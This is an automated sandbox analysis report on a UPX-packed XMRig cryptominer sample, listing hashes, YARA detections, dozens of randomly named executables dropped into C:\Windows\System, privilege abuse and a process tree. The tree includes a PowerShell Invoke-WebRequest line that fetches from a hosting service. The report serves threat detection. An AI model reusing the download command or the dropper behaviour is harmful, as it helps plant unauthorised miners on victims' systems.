xmrig | 2920aa00e26435beea5dc8c8663c9ccec1e9b76bba24ae54b9b7d99910e721a6

Analysis

max time kernel
140s
max time network
131s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
26/04/2024, 11:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
Size

1.9MB
MD5

00a54c07a2c53dbbf2df3bade30db2c3
SHA1

aee6dbe345bb8bebd956a3a3bea8101a31a3d3c9
SHA256

2920aa00e26435beea5dc8c8663c9ccec1e9b76bba24ae54b9b7d99910e721a6
SHA512

df039cba4bf2928a8bac4ad64662c79fc2941e31714a04365f760aec0e2c2f38f5f3e693485bb1739b13f29a03cd5d394fd1799e7e168e1a2516a31b7bfd5edd
SSDEEP

49152:Lz071uv4BPMkibTIA5KIP7nTrmBhihM5xC+UT:NABs

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 37 IoCs

miner

resource	yara_rule
behavioral2/memory/640-10-0x00007FF71C6D0000-0x00007FF71CAC2000-memory.dmp	xmrig
behavioral2/memory/4688-34-0x00007FF7B7B70000-0x00007FF7B7F62000-memory.dmp	xmrig
behavioral2/memory/1360-39-0x00007FF7AD160000-0x00007FF7AD552000-memory.dmp	xmrig
behavioral2/memory/4620-62-0x00007FF600C60000-0x00007FF601052000-memory.dmp	xmrig
behavioral2/memory/4556-57-0x00007FF6BA350000-0x00007FF6BA742000-memory.dmp	xmrig
behavioral2/memory/4016-53-0x00007FF68E2C0000-0x00007FF68E6B2000-memory.dmp	xmrig
behavioral2/memory/4688-4056-0x00007FF7B7B70000-0x00007FF7B7F62000-memory.dmp	xmrig
behavioral2/memory/1848-4058-0x00007FF683240000-0x00007FF683632000-memory.dmp	xmrig
behavioral2/memory/1912-4060-0x00007FF722A00000-0x00007FF722DF2000-memory.dmp	xmrig
behavioral2/memory/1360-4565-0x00007FF7AD160000-0x00007FF7AD552000-memory.dmp	xmrig
behavioral2/memory/4688-4600-0x00007FF7B7B70000-0x00007FF7B7F62000-memory.dmp	xmrig
behavioral2/memory/4620-4638-0x00007FF600C60000-0x00007FF601052000-memory.dmp	xmrig
behavioral2/memory/1912-4673-0x00007FF722A00000-0x00007FF722DF2000-memory.dmp	xmrig
behavioral2/memory/4840-5787-0x00007FF7027F0000-0x00007FF702BE2000-memory.dmp	xmrig
behavioral2/memory/712-5794-0x00007FF7F5A60000-0x00007FF7F5E52000-memory.dmp	xmrig
behavioral2/memory/4368-5797-0x00007FF784DF0000-0x00007FF7851E2000-memory.dmp	xmrig
behavioral2/memory/8-5800-0x00007FF79C1B0000-0x00007FF79C5A2000-memory.dmp	xmrig
behavioral2/memory/5056-5803-0x00007FF76F6A0000-0x00007FF76FA92000-memory.dmp	xmrig
behavioral2/memory/4036-5805-0x00007FF724260000-0x00007FF724652000-memory.dmp	xmrig
behavioral2/memory/2672-5802-0x00007FF78A4A0000-0x00007FF78A892000-memory.dmp	xmrig
behavioral2/memory/2480-5799-0x00007FF7E7BC0000-0x00007FF7E7FB2000-memory.dmp	xmrig
behavioral2/memory/2844-5796-0x00007FF7D3300000-0x00007FF7D36F2000-memory.dmp	xmrig
behavioral2/memory/3720-5795-0x00007FF640EE0000-0x00007FF6412D2000-memory.dmp	xmrig
behavioral2/memory/2952-5792-0x00007FF6014A0000-0x00007FF601892000-memory.dmp	xmrig
behavioral2/memory/1288-5791-0x00007FF642330000-0x00007FF642722000-memory.dmp	xmrig
behavioral2/memory/2952-7111-0x00007FF6014A0000-0x00007FF601892000-memory.dmp	xmrig
behavioral2/memory/712-7107-0x00007FF7F5A60000-0x00007FF7F5E52000-memory.dmp	xmrig
behavioral2/memory/1288-7101-0x00007FF642330000-0x00007FF642722000-memory.dmp	xmrig
behavioral2/memory/2480-7138-0x00007FF7E7BC0000-0x00007FF7E7FB2000-memory.dmp	xmrig
behavioral2/memory/5056-7131-0x00007FF76F6A0000-0x00007FF76FA92000-memory.dmp	xmrig
behavioral2/memory/4036-7129-0x00007FF724260000-0x00007FF724652000-memory.dmp	xmrig
behavioral2/memory/2672-7128-0x00007FF78A4A0000-0x00007FF78A892000-memory.dmp	xmrig
behavioral2/memory/8-7126-0x00007FF79C1B0000-0x00007FF79C5A2000-memory.dmp	xmrig
behavioral2/memory/4368-7117-0x00007FF784DF0000-0x00007FF7851E2000-memory.dmp	xmrig
behavioral2/memory/3720-7115-0x00007FF640EE0000-0x00007FF6412D2000-memory.dmp	xmrig
behavioral2/memory/2844-7124-0x00007FF7D3300000-0x00007FF7D36F2000-memory.dmp	xmrig
behavioral2/memory/4840-7550-0x00007FF7027F0000-0x00007FF702BE2000-memory.dmp	xmrig

Executes dropped EXE 64 IoCs

pid	Process
640	MdDuXrY.exe
4556	CSsZkpz.exe
4688	LSSGoaZ.exe
1360	TmaZVdE.exe
4016	iDqxSYo.exe
4620	LhKWYFJ.exe
1848	cxQPCmb.exe
1912	MmneBzU.exe
3996	XqpKFro.exe
4840	UtBuCzI.exe
1288	bcFDiIE.exe
2952	trrkPAn.exe
712	cCdwSYm.exe
3720	PJJkuIc.exe
2844	MyRJGIx.exe
4368	evbIxCT.exe
2480	sSjZYWm.exe
8	OMzMUYD.exe
2672	UsJNcOJ.exe
5056	oeMsYrs.exe
4036	FkCfnFD.exe
3732	dAFouqe.exe
2504	THonokV.exe
3200	ZbTfSiT.exe
692	iosixlo.exe
4788	WrBZlul.exe
2284	shkSKoO.exe
3780	UkERXkH.exe
4724	QYVhzof.exe
3040	HTLmliw.exe
2404	ZtQfpuN.exe
4776	vCTOmao.exe
3816	cKUrivD.exe
1984	vGhISEk.exe
760	xcjEeCh.exe
2548	riFhQLj.exe
1148	UfasBqL.exe
4604	axSBgIy.exe
628	kLkftEq.exe
2508	pZdxvyx.exe
1672	SJyTzWq.exe
1376	zYYUlFG.exe
3704	qxxJRLG.exe
5088	dwDQskt.exe
2948	adubfJC.exe
1676	kUJzYrO.exe
4456	VsKhuQY.exe
2036	qupAUkc.exe
1656	rDRnfWN.exe
4476	GFYvTEX.exe
2388	fDwIRTt.exe
3680	PSFikyg.exe
3272	yxqjKMh.exe
856	LtdchpD.exe
1704	jANGQFw.exe
908	iOVCtNs.exe
3608	qDkUdFc.exe
2552	rnPHNBp.exe
4268	eWfQxUq.exe
4064	ptUXqev.exe
5064	KvrrBRT.exe
1916	rNkWzwX.exe
3560	VaCIRKA.exe
4328	zrtXdib.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4084-0-0x00007FF6CAD50000-0x00007FF6CB142000-memory.dmp	upx
behavioral2/files/0x000c000000023b4d-5.dat	upx
behavioral2/files/0x000a000000023bab-9.dat	upx
behavioral2/memory/640-10-0x00007FF71C6D0000-0x00007FF71CAC2000-memory.dmp	upx
behavioral2/files/0x000b000000023baa-11.dat	upx
behavioral2/files/0x000a000000023bac-20.dat	upx
behavioral2/memory/4688-34-0x00007FF7B7B70000-0x00007FF7B7F62000-memory.dmp	upx
behavioral2/memory/1360-39-0x00007FF7AD160000-0x00007FF7AD552000-memory.dmp	upx
behavioral2/files/0x000a000000023bae-46.dat	upx
behavioral2/files/0x000a000000023bb0-54.dat	upx
behavioral2/files/0x000a000000023baf-56.dat	upx
behavioral2/files/0x000b000000023bb2-69.dat	upx
behavioral2/files/0x0031000000023bb4-79.dat	upx
behavioral2/files/0x000a000000023bbf-112.dat	upx
behavioral2/files/0x000a000000023bc3-124.dat	upx
behavioral2/memory/4840-788-0x00007FF7027F0000-0x00007FF702BE2000-memory.dmp	upx
behavioral2/files/0x000b000000023bde-205.dat	upx
behavioral2/files/0x000a000000023bdd-202.dat	upx
behavioral2/files/0x000a000000023bdc-199.dat	upx
behavioral2/files/0x000a000000023bdb-196.dat	upx
behavioral2/files/0x000a000000023bda-193.dat	upx
behavioral2/files/0x000a000000023bd9-190.dat	upx
behavioral2/files/0x000a000000023bd8-187.dat	upx
behavioral2/files/0x000a000000023bd7-184.dat	upx
behavioral2/files/0x000a000000023bd6-181.dat	upx
behavioral2/files/0x000a000000023bd5-178.dat	upx
behavioral2/files/0x000a000000023bd4-175.dat	upx
behavioral2/files/0x000a000000023bd3-172.dat	upx
behavioral2/files/0x000a000000023bd2-169.dat	upx
behavioral2/files/0x000a000000023bd1-166.dat	upx
behavioral2/files/0x000a000000023bd0-163.dat	upx
behavioral2/files/0x000a000000023bcf-160.dat	upx
behavioral2/files/0x000a000000023bce-157.dat	upx
behavioral2/files/0x000a000000023bcd-154.dat	upx
behavioral2/files/0x000a000000023bcc-151.dat	upx
behavioral2/files/0x000a000000023bcb-148.dat	upx
behavioral2/files/0x000a000000023bca-145.dat	upx
behavioral2/files/0x000a000000023bc9-142.dat	upx
behavioral2/files/0x000a000000023bc8-139.dat	upx
behavioral2/files/0x000a000000023bc7-136.dat	upx
behavioral2/files/0x000a000000023bc6-133.dat	upx
behavioral2/files/0x000a000000023bc5-130.dat	upx
behavioral2/files/0x000a000000023bc4-127.dat	upx
behavioral2/files/0x000a000000023bc2-121.dat	upx
behavioral2/files/0x000a000000023bc1-118.dat	upx
behavioral2/files/0x000a000000023bc0-115.dat	upx
behavioral2/files/0x000a000000023bbe-109.dat	upx
behavioral2/files/0x000a000000023bbd-106.dat	upx
behavioral2/files/0x000a000000023bbc-103.dat	upx
behavioral2/files/0x000a000000023bbb-100.dat	upx
behavioral2/files/0x000a000000023bba-97.dat	upx
behavioral2/files/0x000a000000023bb9-94.dat	upx
behavioral2/files/0x000a000000023bb8-91.dat	upx
behavioral2/files/0x000a000000023bb7-88.dat	upx
behavioral2/files/0x0031000000023bb6-85.dat	upx
behavioral2/files/0x0031000000023bb5-82.dat	upx
behavioral2/files/0x000b000000023bb1-76.dat	upx
behavioral2/files/0x000e000000023b9e-73.dat	upx
behavioral2/files/0x000a000000023bb3-70.dat	upx
behavioral2/memory/3996-66-0x00007FF747FA0000-0x00007FF748392000-memory.dmp	upx
behavioral2/memory/1912-65-0x00007FF722A00000-0x00007FF722DF2000-memory.dmp	upx
behavioral2/memory/4620-62-0x00007FF600C60000-0x00007FF601052000-memory.dmp	upx
behavioral2/memory/4556-57-0x00007FF6BA350000-0x00007FF6BA742000-memory.dmp	upx
behavioral2/memory/1848-55-0x00007FF683240000-0x00007FF683632000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 1 IoCs

Web Service

T1102

flow	ioc
2	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\ZLadPXA.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\BrUkShC.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\BQNRSNV.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\vWRSigb.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\IBZrGLE.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\brLFTXJ.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\yjSapxY.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\XlcTUTP.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\mVzYYga.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\wtqTtbR.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\otcsEhb.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\vilBusc.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\tLsqlsR.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\hGJfCfc.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\ZfPacnE.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\vvGhoLa.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\XKpbxpK.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\FPWjAxx.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\hedcIqg.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\XXbMrGT.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\WzSREmg.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\hHiVzXZ.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\cayIbug.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\IqOqfwo.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\VDtMohY.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\gJYIKvk.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\QNERbKq.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\RShBsMP.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\wXoZcBe.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\SNzoRXP.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\fJAoFug.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\DwqpDgF.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\baOXQhX.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\LKLLdUx.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\RWnZOvO.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\yUdKLKI.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\DMGoZna.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\ABuPiwZ.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\wgRovMD.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\otmtfAj.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\Qfihocs.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\RGwInWA.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\oKSGfWD.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\sTvqLDm.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\hoNMFod.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\cjLJyWi.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\rXOvjVF.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\ogLKzzy.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\nxitQLl.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\eULstPh.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\BYxHVrh.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\TbEaTaG.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\THonokV.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\nKILyGb.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\yCJgKVl.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\lmRdhoe.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\qkYcoGb.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\CKjALGe.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\uOLTsrZ.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\bzidNVh.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\GrMFBSG.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\vMwGIYH.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\xAiUUMB.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
File created	C:\Windows\System\QPLuMld.exe	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4680	powershell.exe
4680	powershell.exe
4680	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
Token: SeDebugPrivilege	4680	powershell.exe
Token: SeLockMemoryPrivilege	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4828	sihost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4084 wrote to memory of 4680	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	83
PID 4084 wrote to memory of 4680	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	83
PID 4084 wrote to memory of 640	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	84
PID 4084 wrote to memory of 640	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	84
PID 4084 wrote to memory of 4556	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	85
PID 4084 wrote to memory of 4556	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	85
PID 4084 wrote to memory of 4688	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	86
PID 4084 wrote to memory of 4688	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	86
PID 4084 wrote to memory of 1360	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	87
PID 4084 wrote to memory of 1360	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	87
PID 4084 wrote to memory of 4016	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	88
PID 4084 wrote to memory of 4016	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	88
PID 4084 wrote to memory of 4620	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	89
PID 4084 wrote to memory of 4620	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	89
PID 4084 wrote to memory of 1848	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	90
PID 4084 wrote to memory of 1848	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	90
PID 4084 wrote to memory of 1912	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	91
PID 4084 wrote to memory of 1912	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	91
PID 4084 wrote to memory of 3996	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	92
PID 4084 wrote to memory of 3996	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	92
PID 4084 wrote to memory of 4840	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	93
PID 4084 wrote to memory of 4840	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	93
PID 4084 wrote to memory of 1288	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	94
PID 4084 wrote to memory of 1288	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	94
PID 4084 wrote to memory of 2952	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	95
PID 4084 wrote to memory of 2952	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	95
PID 4084 wrote to memory of 712	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	96
PID 4084 wrote to memory of 712	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	96
PID 4084 wrote to memory of 3720	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	97
PID 4084 wrote to memory of 3720	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	97
PID 4084 wrote to memory of 2844	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	98
PID 4084 wrote to memory of 2844	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	98
PID 4084 wrote to memory of 4368	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	99
PID 4084 wrote to memory of 4368	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	99
PID 4084 wrote to memory of 2480	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	100
PID 4084 wrote to memory of 2480	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	100
PID 4084 wrote to memory of 8	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	101
PID 4084 wrote to memory of 8	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	101
PID 4084 wrote to memory of 2672	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	102
PID 4084 wrote to memory of 2672	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	102
PID 4084 wrote to memory of 5056	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	103
PID 4084 wrote to memory of 5056	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	103
PID 4084 wrote to memory of 4036	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	104
PID 4084 wrote to memory of 4036	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	104
PID 4084 wrote to memory of 3732	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	105
PID 4084 wrote to memory of 3732	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	105
PID 4084 wrote to memory of 2504	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	106
PID 4084 wrote to memory of 2504	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	106
PID 4084 wrote to memory of 3200	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	107
PID 4084 wrote to memory of 3200	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	107
PID 4084 wrote to memory of 692	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	108
PID 4084 wrote to memory of 692	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	108
PID 4084 wrote to memory of 4788	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	109
PID 4084 wrote to memory of 4788	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	109
PID 4084 wrote to memory of 2284	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	110
PID 4084 wrote to memory of 2284	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	110
PID 4084 wrote to memory of 3780	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	111
PID 4084 wrote to memory of 3780	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	111
PID 4084 wrote to memory of 4724	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	112
PID 4084 wrote to memory of 4724	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	112
PID 4084 wrote to memory of 3040	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	113
PID 4084 wrote to memory of 3040	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	113
PID 4084 wrote to memory of 2404	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	114
PID 4084 wrote to memory of 2404	4084	00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe	114

C:\Users\Admin\AppData\Local\Temp\00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\00a54c07a2c53dbbf2df3bade30db2c3_JaffaCakes118.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4084
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4680
- - C:\Windows\system32\wermgr.exe
    "C:\Windows\system32\wermgr.exe" "-outproc" "0" "4680" "2520" "2432" "2524" "0" "0" "2528" "0" "0" "0" "0" "0"
    3⤵
    PID:12300
- C:\Windows\System\MdDuXrY.exe
  C:\Windows\System\MdDuXrY.exe
  2⤵
  - Executes dropped EXE
  PID:640
- C:\Windows\System\CSsZkpz.exe
  C:\Windows\System\CSsZkpz.exe
  2⤵
  - Executes dropped EXE
  PID:4556
- C:\Windows\System\LSSGoaZ.exe
  C:\Windows\System\LSSGoaZ.exe
  2⤵
  - Executes dropped EXE
  PID:4688
- C:\Windows\System\TmaZVdE.exe
  C:\Windows\System\TmaZVdE.exe
  2⤵
  - Executes dropped EXE
  PID:1360
- C:\Windows\System\iDqxSYo.exe
  C:\Windows\System\iDqxSYo.exe
  2⤵
  - Executes dropped EXE
  PID:4016
- C:\Windows\System\LhKWYFJ.exe
  C:\Windows\System\LhKWYFJ.exe
  2⤵
  - Executes dropped EXE
  PID:4620
- C:\Windows\System\cxQPCmb.exe
  C:\Windows\System\cxQPCmb.exe
  2⤵
  - Executes dropped EXE
  PID:1848
- C:\Windows\System\MmneBzU.exe
  C:\Windows\System\MmneBzU.exe
  2⤵
  - Executes dropped EXE
  PID:1912
- C:\Windows\System\XqpKFro.exe
  C:\Windows\System\XqpKFro.exe
  2⤵
  - Executes dropped EXE
  PID:3996
- C:\Windows\System\UtBuCzI.exe
  C:\Windows\System\UtBuCzI.exe
  2⤵
  - Executes dropped EXE
  PID:4840
- C:\Windows\System\bcFDiIE.exe
  C:\Windows\System\bcFDiIE.exe
  2⤵
  - Executes dropped EXE
  PID:1288
- C:\Windows\System\trrkPAn.exe
  C:\Windows\System\trrkPAn.exe
  2⤵
  - Executes dropped EXE
  PID:2952
- C:\Windows\System\cCdwSYm.exe
  C:\Windows\System\cCdwSYm.exe
  2⤵
  - Executes dropped EXE
  PID:712
- C:\Windows\System\PJJkuIc.exe
  C:\Windows\System\PJJkuIc.exe
  2⤵
  - Executes dropped EXE
  PID:3720
- C:\Windows\System\MyRJGIx.exe
  C:\Windows\System\MyRJGIx.exe
  2⤵
  - Executes dropped EXE
  PID:2844
- C:\Windows\System\evbIxCT.exe
  C:\Windows\System\evbIxCT.exe
  2⤵
  - Executes dropped EXE
  PID:4368
- C:\Windows\System\sSjZYWm.exe
  C:\Windows\System\sSjZYWm.exe
  2⤵
  - Executes dropped EXE
  PID:2480
- C:\Windows\System\OMzMUYD.exe
  C:\Windows\System\OMzMUYD.exe
  2⤵
  - Executes dropped EXE
  PID:8
- C:\Windows\System\UsJNcOJ.exe
  C:\Windows\System\UsJNcOJ.exe
  2⤵
  - Executes dropped EXE
  PID:2672
- C:\Windows\System\oeMsYrs.exe
  C:\Windows\System\oeMsYrs.exe
  2⤵
  - Executes dropped EXE
  PID:5056
- C:\Windows\System\FkCfnFD.exe
  C:\Windows\System\FkCfnFD.exe
  2⤵
  - Executes dropped EXE
  PID:4036
